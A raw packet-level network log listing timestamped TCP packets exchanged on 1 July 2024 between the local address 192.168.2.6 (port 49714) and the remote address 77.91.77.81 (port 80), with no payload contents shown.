Jul 1, 2024 07:20:51.703633070 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.703641891 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.703651905 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.703661919 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.703672886 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.703708887 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.734225988 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.734236002 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.734241962 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.734252930 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.734277010 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.734318018 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.734327078 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.734328985 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.734352112 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.734364986 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.734376907 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.734376907 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.734397888 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.734422922 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.735933065 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.735943079 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.735953093 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.736008883 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.736010075 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.736021996 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.736031055 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.736032963 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.736066103 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.736090899 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.736102104 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.736159086 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.736159086 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.736191034 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.736202002 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.736238003 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.736274958 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.736284971 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.736294985 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.736315012 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.736334085 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.736398935 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.736411095 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.736419916 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.736423969 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.736433983 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.736434937 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.736485958 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.736618996 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.736629009 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.736639023 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.736659050 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.736665010 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.736675024 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.736692905 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.736716986 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.736758947 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.736768961 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.736778021 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.736788988 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.736797094 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.736800909 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.736812115 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.736814976 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.737005949 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.737031937 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.737041950 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.737052917 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.737062931 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.737073898 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.737073898 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.737086058 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.737097979 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.737106085 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.737107038 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.737126112 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.737147093 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.737343073 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.737354040 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.737370014 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.737379074 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.737390041 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.737390041 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.737411976 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.737423897 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.737436056 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.737437010 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.737447977 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.737457037 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.737462044 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.737468004 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.737484932 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.737502098 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.737622976 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.737689972 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.737699986 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.737709999 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.737719059 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.737720966 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.737751961 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.737921953 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.737937927 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.737947941 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.737951994 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.737952948 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.737953901 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.737957001 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.737967014 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.737970114 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.737979889 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.737988949 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.737991095 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.738002062 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.738009930 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.738012075 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.738027096 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.738034010 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.738054037 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.738080025 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.738262892 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.738303900 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.738348961 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.738359928 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.738368988 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.738379002 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.738389015 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.738389015 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.738400936 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.738411903 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.738437891 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.761442900 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.761473894 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.761482000 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.761492968 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.761518002 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.761528969 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.761539936 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.761564016 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.761605024 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.761615038 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.761624098 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.761647940 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.761677980 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.761784077 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.761820078 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.761825085 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.761836052 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.761859894 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.761919022 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.761929035 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.761938095 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.761946917 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.761955023 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.761955976 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.761975050 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.761991978 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.796005011 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.796015978 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.796025991 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.796053886 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.796061039 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.796073914 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.796092987 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.796128988 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.796137094 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.796148062 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.796156883 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.796178102 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.796196938 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.796355009 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.796375036 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.796382904 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.796391964 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.796407938 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.796425104 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.796506882 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.796521902 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.796528101 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.796534061 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.796547890 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.796571970 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.796581030 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.796603918 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.796622038 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.796637058 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.796664000 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.796741962 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.796756983 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.796761990 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.796772957 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.796782970 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.796812057 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.796844006 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.797156096 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.827402115 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.827420950 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.827431917 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.827490091 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.827517033 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.827528954 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.827536106 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.827541113 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.827552080 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.827554941 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.827581882 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.827585936 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.827621937 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.829022884 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.829068899 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.829080105 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.829106092 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.829128981 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.829164028 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.829171896 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.829184055 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.829195023 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.829209089 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.829227924 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.829230070 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.829266071 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.829286098 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.829293013 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.829303980 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.829319954 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.829350948 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.829394102 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.829463959 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.829478979 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.829500914 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.829500914 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.829514980 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.829526901 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.829530001 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.829551935 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.829617023 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.829629898 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.829646111 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.829648972 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.829658985 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.829670906 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.829679012 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.829687119 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.829713106 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.829735041 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.829875946 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.829889059 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.829900980 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.829911947 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.829929113 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.829930067 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.829941988 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.829950094 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.829957008 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.829967022 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.829987049 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.830012083 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.830171108 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.830173016 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.830177069 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.830188990 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.830200911 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.830210924 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.830223083 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.830228090 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.830235958 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.830245972 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.830265999 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.830403090 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.830415010 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.830449104 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.830554008 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.830565929 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.830576897 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.830585957 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.830602884 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.830615997 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.830626965 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.830630064 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.830631971 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.830638885 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.830650091 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.830653906 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.830662966 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.830673933 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.830699921 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.830893993 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.830905914 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.830916882 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.830929041 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.830936909 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.830941916 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.830960989 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.830996037 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.830996990 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.831010103 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.831034899 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.831044912 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.831047058 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.831058979 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.831070900 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.831082106 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.831082106 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.831093073 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.831110954 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.831130028 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.831451893 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.831475019 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.831485987 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.831502914 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.831507921 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.831511021 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.831513882 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.831521988 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.831535101 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.831552982 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.831573009 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.854656935 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.854721069 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.854815006 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.854825974 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.854835033 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.854846001 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.854855061 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.854863882 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.854863882 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.854882956 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.854893923 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.854902983 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.854909897 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.854913950 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.854923964 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.854932070 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.854954004 CEST	49714	80	192.168.2.6	77.91.77.81
